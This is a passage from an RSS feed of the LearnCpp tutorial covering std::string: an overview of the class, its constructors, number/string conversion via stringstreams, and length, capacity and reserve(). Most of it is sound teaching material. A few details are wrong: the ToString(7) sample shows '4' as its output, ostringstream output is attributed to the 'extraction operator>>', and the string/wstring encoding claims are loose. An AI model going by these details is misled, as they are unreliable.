			<wfw:commentRss>http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>17.3 — std::string length and capacity</title>
		<link>http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/</link>
		<comments>http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/#comments</comments>
		<pubDate>Sun, 27 Sep 2009 18:09:32 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=400</guid>
		<description><![CDATA[Once you&#8217;ve created strings, it&#8217;s often useful to know how long they are.  This is where length and capacity operations come into play.  We&#8217;ll also discuss various ways to convert std::string back into C-style strings, so you can use them with functions that expect strings of type char*.
Length of a string
The length of [...]]]></description>
			<content:encoded><![CDATA[<p>Once you&#8217;ve created strings, it&#8217;s often useful to know how long they are.  This is where length and capacity operations come into play.  We&#8217;ll also discuss various ways to convert std::string back into C-style strings, so you can use them with functions that expect strings of type char*.</p>
<p><strong>Length of a string</strong></p>
<p>The length of the string is quite simple &#8212; it&#8217;s the number of characters in the string.  There are two identical functions for determining string length:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>size_type string::length() const</b><br />
<b>size_type string::size() const</b></p>
<ul>
<li>Both of these functions return the current number of characters in the string, excluding the null terminator.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;012345678&quot;);
cout &lt;&lt; sSource.length() &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
9
</pre>
</td>
</tr>
</table>
<p></p>
<p>Although it&#8217;s possible to use length() to determine whether a string has any characters or not, it&#8217;s more efficient to use the empty() function:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>bool string::empty() const</b></p>
<ul>
<li>Returns true if the string has no characters, false otherwise.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString1(&quot;Not Empty&quot;);
cout &lt;&lt; (sString1.empty() ? &quot;true&quot; : &quot;false&quot;) &lt;&lt; endl;
string sString2; // empty
cout &lt;&lt; (sString2.empty() ? &quot;true&quot; : &quot;false&quot;)  &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
false
true
</pre>
</td>
</tr>
</table>
<p></p>
<p>There is one more size-related function that you will probably never use, but we&#8217;ll include it here for completeness:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>size_type string::max_size() const</b></p>
<ul>
<li>Returns the maximum number of characters that a string is allowed to have.
<li>This value will vary depending on operating system and system architecture.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;MyString&quot;);
cout &lt;&lt; sString.max_size() &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
4294967294
</pre>
</td>
</tr>
</table>
<p></p>
<p><strong>Capacity of a string</strong></p>
<p>The capacity of a string reflects how much memory the string allocated to hold it&#8217;s contents.  This value is measured in string characters, excluding the NULL terminator.  For example, a string with capacity 8 could hold 8 characters.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>size_type string::capacity() const</b></p>
<ul>
<li>Returns the number of characters a string can hold without reallocation.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;01234567&quot;);
cout &lt;&lt; &quot;Length: &quot; &lt;&lt; sString.length() &lt;&lt; endl;
cout &lt;&lt; &quot;Capacity: &quot; &lt;&lt; sString.capacity() &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
Length: 8
Capacity: 15
</pre>
</td>
</tr>
</table>
<p></p>
<p>Note that the capacity is higher than the length of the string!  Although our string was length 8, the string actually allocated enough memory for 15 characters!  Why was this done?</p>
<p>The important thing to recognize here is that if a user wants to put more characters into a string than the string has capacity for, the string has to be reallocated to a larger capacity.  For example, if a string had both length and capacity of 8, then adding any characters to the string would force a reallocation.  By making the capacity larger than the actual string, this gives the user some buffer room to expand the string before reallocation needs to be done.</p>
<p>As it turns out, reallocation is bad for several reasons:</p>
<p>First, reallocating a string is comparatively expensive.  First, new memory has to be allocated.  Then each character in the string has to be copied to the new memory.  This can take a long time if the string is big.  Finally, the old memory has to be deallocated.  If you are doing many reallocations, this process can slow your program down significantly.</p>
<p>Second, whenever a string is reallocated, the contents of the string change to a new memory address.  This means all references, pointers, and iterators to the string become invalid!</p>
<p>Note that it&#8217;s not always the case that strings will be allocated with capacity greater than length.  Consider the following program:</p>
<pre class="brush: cpp;">
string sString(&quot;0123456789abcde&quot;);
cout &lt;&lt; &quot;Length: &quot; &lt;&lt; sString.length() &lt;&lt; endl;
cout &lt;&lt; &quot;Capacity: &quot; &lt;&lt; sString.capacity() &lt;&lt; endl;
</pre>
<p>This program outputs:</p>
<pre>
Length: 15
Capacity: 15
</pre>
<p>(Results may vary depending on compiler).</p>
<p>Let&#8217;s add one character to the string and watch the capacity change:</p>
<pre class="brush: cpp;">
string sString(&quot;0123456789abcde&quot;);
cout &lt;&lt; &quot;Length: &quot; &lt;&lt; sString.length() &lt;&lt; endl;
cout &lt;&lt; &quot;Capacity: &quot; &lt;&lt; sString.capacity() &lt;&lt; endl;

// Now add a new character
sString += &quot;f&quot;;
cout &lt;&lt; &quot;Length: &quot; &lt;&lt; sString.length() &lt;&lt; endl;
cout &lt;&lt; &quot;Capacity: &quot; &lt;&lt; sString.capacity() &lt;&lt; endl;
</pre>
<p>This produces the result:</p>
<pre>
Length: 15
Capacity: 15
Length: 16
Capacity: 31
</pre>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>void string::reserve() </b><br />
<b>void string::reserve(size_type unSize) </b></p>
<ul>
<li>The second flavor of this function sets the capacity of the string to at least unSize (it can be greater).  Note that this may require a reallocation to occur.
<li>If the first flavor of the function is called, or the second flavor is called with unSize less than the current capacity, the function will try to shrink the capacity to match the length.  This is a non-binding request.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;01234567&quot;);
cout &lt;&lt; &quot;Length: &quot; &lt;&lt; sString.length() &lt;&lt; endl;
cout &lt;&lt; &quot;Capacity: &quot; &lt;&lt; sString.capacity() &lt;&lt; endl;

sString.reserve(200);
cout &lt;&lt; &quot;Length: &quot; &lt;&lt; sString.length() &lt;&lt; endl;
cout &lt;&lt; &quot;Capacity: &quot; &lt;&lt; sString.capacity() &lt;&lt; endl;

sString.reserve();
cout &lt;&lt; &quot;Length: &quot; &lt;&lt; sString.length() &lt;&lt; endl;
cout &lt;&lt; &quot;Capacity: &quot; &lt;&lt; sString.capacity() &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
Length: 8
Capacity: 15
Length: 8
Capacity: 207
Length: 8
Capacity: 207
</pre>
</td>
</tr>
</table>
<p></p>
<p>This example shows two interesting things.  First, although we requested a capacity of 200, we actually got a capacity of 207.  The capacity is always guaranteed to be at least as large as your request, but may be larger.  We then requested the capacity change to fit the string.  This request was ignored, as the capacity did not change.</p>
<p>If you know in advance that you&#8217;re going to be constructing a large string by doing lots of string operations that will add to the size of the string, you can avoid having the string reallocated multiple times by immediately setting the string to it&#8217;s final capacity:</p>
<pre class="brush: cpp;">
#include &lt;iostream&gt;
#include &lt;string&gt;
#include &lt;cstdlib&gt; // for rand() and srand()
#include &lt;ctime&gt; // for time()

using namespace std;

int main()
{
    srand(time(0)); // seed random number generator

    string sString; // length 0
    sString.reserve(64); // reserve 64 characters

    // Fill string up with random lower case characters
    for (int nCount=0; nCount &lt; 64; ++nCount)
        sString += 'a' + rand() % 26;

    cout &lt;&lt; sString;
}
</pre>
<p>The result of this program will change each time, but here&#8217;s the output from one execution:</p>
<pre>
wzpzujwuaokbakgijqdawvzjqlgcipiiuuxhyfkdppxpyycvytvyxwqsbtielxpy
</pre>
<p>Rather than having to reallocate sString multiple times, we set the capacity once and then fill the string up.  This can make a huge difference in performance when constructing large strings via concatenation.</p>
<table border=0 cellpadding=3>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle> 17.4 &#8212; std::string character access and conversion to C-style arrays</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter17" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-2-stdstring-construction-and-destruction/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 17.2 &#8212; std::string construction and destruction</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=f7kQ90U_JK4:E1OmccgJH7A:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=f7kQ90U_JK4:E1OmccgJH7A:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=f7kQ90U_JK4:E1OmccgJH7A:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=f7kQ90U_JK4:E1OmccgJH7A:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=f7kQ90U_JK4:E1OmccgJH7A:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=f7kQ90U_JK4:E1OmccgJH7A:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>17.2 — std::string construction and destruction</title>
		<link>http://www.learncpp.com/cpp-tutorial/17-2-ststring-construction-and-destruction/</link>
		<comments>http://www.learncpp.com/cpp-tutorial/17-2-ststring-construction-and-destruction/#comments</comments>
		<pubDate>Sun, 20 Sep 2009 18:10:33 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=348</guid>
		<description><![CDATA[In this lesson, we&#8217;ll take a look at how to construct objects of std::string, as well as how to create strings from numbers and vice-versa.
String construction
The string classes have a number of constructors that can be used to create strings.  We&#8217;ll take a look at each of them here.
Note: string::size_type resolves to size_t, which [...]]]></description>
			<content:encoded><![CDATA[<p>In this lesson, we&#8217;ll take a look at how to construct objects of std::string, as well as how to create strings from numbers and vice-versa.</p>
<p><strong>String construction</strong></p>
<p>The string classes have a number of constructors that can be used to create strings.  We&#8217;ll take a look at each of them here.</p>
<p>Note: string::size_type resolves to size_t, which is the same unsigned integral type that is returned by the sizeof operator.  It&#8217;s actual size varies depending on environment.  For purposes of this tutorial, envision it as an unsigned int.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string::string()</b></p>
<ul>
<li>This is the default constructor.  It creates an empty string.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
std::string sSource;
cout &lt;&lt; sSource;
</pre>
<p>Output:</p>
<pre>
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string::string(const string&#038; strString)</b></p>
<ul>
<li>This is the copy constructor.  This constructor creates a new string as a copy of strString.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;my string&quot;);
string sOutput(sSource);
cout &lt;&lt; sOutput;
</pre>
<p>Output:</p>
<pre>
my string
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string::string(const string&#038; strString, size_type unIndex)</b><br />
<b>string::string(const string&#038; strString, size_type unIndex, size_type unLength)</b></p>
<ul>
<li>This constructor creates a new string that contains at most unLength characters from strString, starting with index unIndex.  If a NULL is encountered, the string copy will end, even if unLength has not been reached.
<li> If no unLength is supplied, all characters starting from unIndex will be used.
<li>If unIndex is larger than the size of the string, the out_of_range exception will be thrown.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;my string&quot;);
string sOutput(sSource, 3);
cout &lt;&lt; sOutput&lt;&lt; endl;
string sOutput2(sSource, 3, 4);
cout &lt;&lt; sOutput2 &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
string
stri
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string::string(const char *szCString)</b></p>
<ul>
<li>This constructor creates a new string from the C-style string szCString, up to but not including the NULL terminator.
<li>If the resulting size exceeds the maximum string length, the length_error exception will be thrown.
<li><b>Warning:</b> szCString must not be NULL.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
const char *szSource(&quot;my string&quot;);
string sOutput(szSource);
cout &lt;&lt; sOutput &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
my string
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string::string(const char *szCString, size_type unLength)</b></p>
<ul>
<li>This constructor creates a new string from the first unLength chars from the C-style string szCString.
<li>If the resulting size exceeds the maximum string length, the length_error exception will be thrown.
<li><b>Warning:</b> For this function only, NULLs are not treated as end-of-string characters in szCString!  This means it is possible to read off the end of your string if unLength is too big.  Be careful not to overflow your string buffer!
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
const char *szSource(&quot;my string&quot;);
string sOutput(szSource, 4);
cout &lt;&lt; sOutput &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
my s
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string::string(size_type nNum, char chChar)</b></p>
<ul>
<li>This constructor creates a new string initialized by nNum occurances of the character chChar.
<li>If the resulting size exceeds the maximum string length, the length_error exception will be thrown.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sOutput(4, 'Q');
cout &lt;&lt; sOutput &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
QQQQ
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>template&lt;class InputIterator&gt; string::string(InputIterator itBeg, InputIterator itEnd)</b></p>
<ul>
<li>This constructor creates a new string initialized by the characters of range [itBeg, itEnd).
<li>If the resulting size exceeds the maximum string length, the length_error exception will be thrown.
</ul>
<p>No sample code for this one.  It&#8217;s obscure enough you&#8217;ll probably never use it.
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string::~string()</b></p>
<p><strong>String construction</strong></p>
<ul>
<li>This is the destructor.  It destroys the string and frees the memory.
</ul>
<p>No sample code here either since the destructor isn&#8217;t called explicitly.
</td>
</tr>
</table>
<p></p>
<p><strong>Constructing strings from numbers</strong></p>
<p>One notable omission in the std::string class is the lack of ability to create strings from numbers.  For example:</p>
<pre class="brush: cpp;">
    string sFour(4);
</pre>
<p>Produces the following error:</p>
<pre>
c:\vcprojects\test2\test2\test.cpp(10) : error C2664: &#039;std::basic_string&lt;_Elem,_Traits,_Ax&gt;::basic_string(std::basic_string&lt;_Elem,_Traits,_Ax&gt;::_Has_debug_it)&#039; : cannot convert parameter 1 from &#039;int&#039; to &#039;std::basic_string&lt;_Elem,_Traits,_Ax&gt;::_Has_debug_it&#039;
</pre>
<p>Remember what I said about the string classes producing horrible looking errors?  The relevant bit of information here is:</p>
<pre>cannot convert parameter 1 from &#039;int&#039; to &#039;std::basic_string</pre>
<p>In other words, it tried to convert your int into a string but failed.</p>
<p>The easiest way to convert numbers into strings is to involve the std::ostringstream class.  std::ostringstream is already set up to accept input from a variety of sources, including characters, numbers, strings, etc&#8230;  It is also capable of outputting strings (either via the extraction operator>>, or via the str() function).  For more information on std::ostringstream, see <a href="http://www.learncpp.com/cpp-tutorial/134-stream-classes-for-strings/">Lesson 13.4 &#8212; Stream classes for strings</a>.  </p>
<p>Here&#8217;s a simple solution for creating std::string from various types of inputs:</p>
<pre class="brush: cpp;">
#include &lt;iostream&gt;
#include &lt;sstream&gt;
#include &lt;string&gt;

template &lt;typename T&gt;
inline std::string ToString(T tX)
{
    std::ostringstream oStream;
    oStream &lt;&lt; tX;
    return oStream.str();
}
</pre>
<p>Here&#8217;s some sample code to test it:</p>
<pre class="brush: cpp;">
int main()
{
    string sFour(ToString(7));
    string sSixPointSeven(ToString(6.7));
    string sA(ToString('A'));
    cout &lt;&lt; sFour &lt;&lt; endl;
    cout &lt;&lt; sSixPointSeven &lt;&lt; endl;
    cout &lt;&lt; sA &lt;&lt; endl;
}
</pre>
<p>And the output:</p>
<pre>
4
6.7
A
</pre>
<p>Note that this solution omits any error checking.  It is possible that inserting tX into oStream could fail.  An appropriate response would be to throw an exception if the conversation fails.</p>
<p><strong>Converting strings to numbers</strong></p>
<p>Similar to the solution above:</p>
<pre class="brush: cpp;">
#include &lt;iostream&gt;
#include &lt;sstream&gt;
#include &lt;string&gt;

template &lt;typename T&gt;
inline bool FromString(const std::string&amp; sString, T &amp;tX)
{
    std::istringstream iStream(sString);
    return (iStream &gt;&gt; tX) ? true : false;
}
</pre>
<p>Here&#8217;s some sample code to test it:</p>
<pre class="brush: cpp;">
int main()
{
    double dX;
    if (FromString(&quot;3.4&quot;, dX))
        cout &lt;&lt; dX &lt;&lt; endl;
    if (FromString(&quot;ABC&quot;, dX))
        cout &lt;&lt; dX &lt;&lt; endl;
}
</pre>
<p>And the output:</p>
<pre>
3.4
</pre>
<p>Note that the second conversation failed and returned false.</p>
<table border=0 cellpadding=3>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle> 17.3 &#8212; std::string length and capacity</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter17" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-1-stdstring-and-stdwstring/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 17.1 &#8212; std::string and std::wstring</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Gq5gSKWRdLQ:C6dwDdqDXXs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Gq5gSKWRdLQ:C6dwDdqDXXs:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Gq5gSKWRdLQ:C6dwDdqDXXs:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=Gq5gSKWRdLQ:C6dwDdqDXXs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Gq5gSKWRdLQ:C6dwDdqDXXs:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=Gq5gSKWRdLQ:C6dwDdqDXXs:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/cpp-tutorial/17-2-ststring-construction-and-destruction/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>17.1 — std::string and std::wstring</title>
		<link>http://www.learncpp.com/cpp-tutorial/17-1-stdstring-and-stdwstring/</link>
		<comments>http://www.learncpp.com/cpp-tutorial/17-1-stdstring-and-stdwstring/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 22:43:33 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=329</guid>
		<description><![CDATA[The standard library contains many useful classes &#8212; but perhaps the most useful is std::string.  std::string (and std::wstring) is a string class that provides many operations to assign, compare, and modify strings.  In this chapter, we&#8217;ll look into these string classes in depth.
Note: C-style strings will be referred to as &#8220;C-style strings&#8221;, whereas [...]]]></description>
			<content:encoded><![CDATA[<p>The standard library contains many useful classes &#8212; but perhaps the most useful is std::string.  std::string (and std::wstring) is a string class that provides many operations to assign, compare, and modify strings.  In this chapter, we&#8217;ll look into these string classes in depth.</p>
<p>Note: C-style strings will be referred to as &#8220;C-style strings&#8221;, whereas std::strings (and std::wstring) will be referred to simply as &#8220;strings&#8221;.</p>
<p><strong>Motivation for a string class</strong></p>
<p>In a previous lesson, we covered  <a href="http://www.learncpp.com/cpp-tutorial/66-c-style-strings/">C-style strings</a>, which using char arrays to store a string of characters.  If you&#8217;ve tried to do anything with C-style strings, you&#8217;ll very quickly come to the conclusion that they are a pain to work with, easy to mess up, and hard to debug.</p>
<p>C-style strings have many shortcomings, primarily revolving around the fact that you have to do all the memory management yourself.  For example, if you want to assign the string &#8220;hello!&#8221; into a buffer, you have to first dynamically allocate a buffer of the correct length:</p>
<pre class="brush: cpp;">
char *strHello = new char[7];
</pre>
<p>Don&#8217;t forget to account for an extra character for the null terminator!</p>
<p>Then you have to actually copy the value in:</p>
<pre class="brush: cpp;">
strcpy(strHello, &quot;hello!&quot;);
</pre>
<p>Hopefully you made your buffer large enough so there&#8217;s no buffer overflow!</p>
<p>And of course, because the string is dynamically allocated, you have to remember to deallocate it properly when you&#8217;re done with it:</p>
<pre class="brush: cpp;">
delete[] strHello;
</pre>
<p>Don&#8217;t forget to use array delete instead of normal delete!</p>
<p>Furthermore, many of the intuitive operators that C provides to work with numbers, such as assignment and comparisons, simply don&#8217;t work with C-style strings.  Sometimes these will appear to work but actually produce incorrect results &#8212; for example, comparing two C-style strings using == will actually do a pointer comparison, not a string comparison.  Assigning one C-style string to another using operator= will appear to work at first, but is actually doing a pointer copy (shallow copy), which is not generally what you want.  These kinds of things can lead to program crashes that are very hard to find and debug!</p>
<p>The bottom line is that working with C-style strings requires remembering a lot of nit-picky rules about what is safe/unsafe, memorizing a bunch of functions that have funny names like strcat() and strcmp() instead of using intuitive operators, and doing lots of manual memory management.</p>
<p>Fortunately, C++ and the standard library provide a much better way to deal with strings: the std::string and std::wstring classes.  By making use of C++ concepts such as constructors, destructors, and operator overloading, std::string allows you to create and manipulate strings in an intuitive and safe manner!  No more memory management, no more weird function names, and a much reduced potential for disaster.</p>
<p>Sign me up!</p>
<p><strong>String overview</strong></p>
<p>All string functionality in the standard library lives in the &lt;string&gt; header file.  To use it, simply include the string header:</p>
<pre class="brush: cpp;">
    #include &lt;string&gt;
</pre>
<p>There are actually 3 different string classes in the string header.  The first is a templated base class named basic_string<>:</p>
<pre class="brush: cpp;">
namespace std
{
    template&lt;class charT, class traits = char_traits&lt;charT&gt;, class Allocator = allocator&lt;charT&gt; &gt;
        class basic_string;
}
</pre>
<p>You won&#8217;t be working with this class directly, so don&#8217;t worry about what traits or an Allocator is for the time being.  The default values will suffice in almost every imaginable case.</p>
<p>There are two specializations of basic_string<> provided by the standard library:</p>
<pre class="brush: cpp;">
namespace std
{
    typedef basic_string&lt;char&gt; string;
    typedef basic_string&lt;wchar_t&gt; wstring;
}
</pre>
<p>These are the two classes that you will actually use.  std::string is used for standard ascii (utf-8) strings.  std::wstring is used for wide-character/unicode (utf-16) strings.  There is no built-in class for utf-32 strings (though you should be able to extend your own from basic_string<> if you need one).</p>
<p>Although you will directly use std::string and std::wstring, it turns out that all of the string functionality is actually implemented in the basic_string<> class and then inherited by string and wstring.  Consequently, all of the functions presented will work for both string and wstring.  However, because basic_string is a templated class, it also means the compiler will produce horrible looking template errors when you do something syntactically incorrect with a string or wstring.  Don&#8217;t be intimidated by these errors; they look far worse than they are!</p>
<p>Here&#8217;s a list of all the functions in the string class.  Most of these functions have multiple flavors to handle different types of inputs, which we will cover in more depth in the next lessons.</p>
<table border=1 cellspacing=0 cellpadding=3>
<tr>
<th>Function</th>
<th>Effect</th>
</tr>
<tr>
<td colspan=2><center><b>Creation and destruction</b></center></td>
</tr>
<tr>
<td>
         <a href="http://www.learncpp.com/cpp-tutorial/17-2-ststring-construction-and-destruction/">(constructor)</a><br />
         <a href="http://www.learncpp.com/cpp-tutorial/17-2-ststring-construction-and-destruction/">(destructor)</a>
    </td>
<td>
         Create or copy a string<br />
         Destroy a string
    </td>
</tr>
<tr>
<td colspan=2><center><b>Size and capacity</b></center></td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/">capacity()</a><br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/">empty()</a><br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/">length(), size()</a><br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/">max_size()</a><br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/">reserve()</a>
    </td>
<td>
        Returns the number of characters that can be held without reallocation<br />
        Returns a boolean indicating whether the string is empty<br />
        Returns the number of characters in string<br />
        Returns the maximum string size that can be allocated<br />
        Expand or shrink the capacity of the string
    </td>
</tr>
<tr>
<td colspan=2><center><b>Element access</b></center></td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/">[], at()</a>
    </td>
<td>
        Accesses the character at a particular index
    </td>
</tr>
<tr>
<td colspan=2><center><b>Modification</b></center></td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-programming/17-5-stdstring-assignment-and-swapping/">=, assign()</a><br />
        <a href="http://www.learncpp.com/uncategorized/17-6-stdstring-appending/">+=, append(), push_back()</a><br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-7-stdstring-inserting/">insert()</a><br />
        clear()<br />
        erase()<br />
        replace()<br />
        resize()<br />
        <a href="http://www.learncpp.com/cpp-programming/17-5-stdstring-assignment-and-swapping/">swap()</a>
    </td>
<td>
        Assigns a new value to the string<br />
        Concatenates characters to end of the string<br />
        Inserts characters at an arbitrary index in string<br />
        Delete all characters in the string<br />
        Erase characters at an arbitrary index in string<br />
        Replace characters at an arbitrary index with other characters<br />
        Expand or shrink the string (truncates or adds characters at end of string)<br />
        Swaps the value of two strings
    </td>
</tr>
<tr>
<td colspan=2><center><b>Input and Output</b></center></td>
</tr>
<tr>
<td>
        &gt;&gt;, getline()<br />
        &lt;&lt;<br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/">c_str</a><br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/">copy()</a><br />
        <a href="http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/">data()</a>
    </td>
<td>
        Reads values from the input stream into the string<br />
        Writes string value to the output stream<br />
        Returns the contents of the string as a NULL-terminated C-style string<br />
        Copies contents (not NULL-terminated) to a character array<br />
        Returns the contents of the string as a non-NULL-terminated character array
    </td>
</tr>
<tr>
<td colspan=2><center><b>String comparison</b></center></td>
</tr>
<tr>
<td>
        ==, !=<br />
        &lt;, &lt;=, &gt; &gt;=<br />
        compare()
    </td>
<td>
        Compares whether two strings are equal/unequal (returns bool)<br />
        Compares whether two strings are less than / greater than each other (returns bool)<br />
        Compares whether two strings are equal/unequal (returns -1, 0, or 1)
    </td>
</tr>
<tr>
<td colspan=2><center><b>Substrings and concatenation</b></center></td>
</tr>
<tr>
<td>
        +<br />
        substr()
    </td>
<td>
        Concatenates two strings<br />
        Returns a substring
    </td>
</tr>
<tr>
<td colspan=2><center><b>Searching</b></center></td>
</tr>
<tr>
<td>
        find<br />
        find_first_of<br />
        find_first_not_of<br />
        find_last_of<br />
        find_last_not_of<br />
        rfind
    </td>
<td>
        Find index of first character/substring<br />
        Find index of first character from a set of characters<br />
        Find index of first character not from a set of characters<br />
        Find index of last character from a set of characters<br />
        Find index of last character not from a set of characters<br />
        Find index of last character/substring</p>
</td>
</tr>
<tr>
<td colspan=2><center><b>Iterator and allocator support</b></center></td>
</tr>
<tr>
<td>
        begin(), end()<br />
        get_allocator()<br />
        rbegin(), rend()
    </td>
<td>
        Forward-direction iterator support for beginning/end of string<br />
        Returns the allocator<br />
        Reverse-direction iterator support for beginning/end of string
    </td>
</tr>
</table>
<p>Note: The above table will look funny if your browser is too narrow</p>
<p>While the standard library string classes provide a lot of functionality, there are a few notable omissions:</p>
<ul>
<li>Regular expression support
<li>Constructors for creating strings from numbers
<li>Capitalization / upper case / lower case functions
<li>Case-insensitive comparisons
<li>Tokenization / splitting string into array
<li>Easy functions for getting the left or right hand portion of string
<li>Whitespace trimming
<li>Formatting a string sprintf style
<li>Conversion from utf-8 to utf-16 or vice-versa
</ul>
<p>For most of these, you will have to either write your own functions, or convert your string to a C-style string (using c_str()) and use the C functions that offer this functionality.</p>
<p>In the next lessons, we will look at the various functions of the string class in more depth.  Although we will use string for our examples, everything is equally applicable to wstring.</p>
<table border=0 cellpadding=3>
<tr>
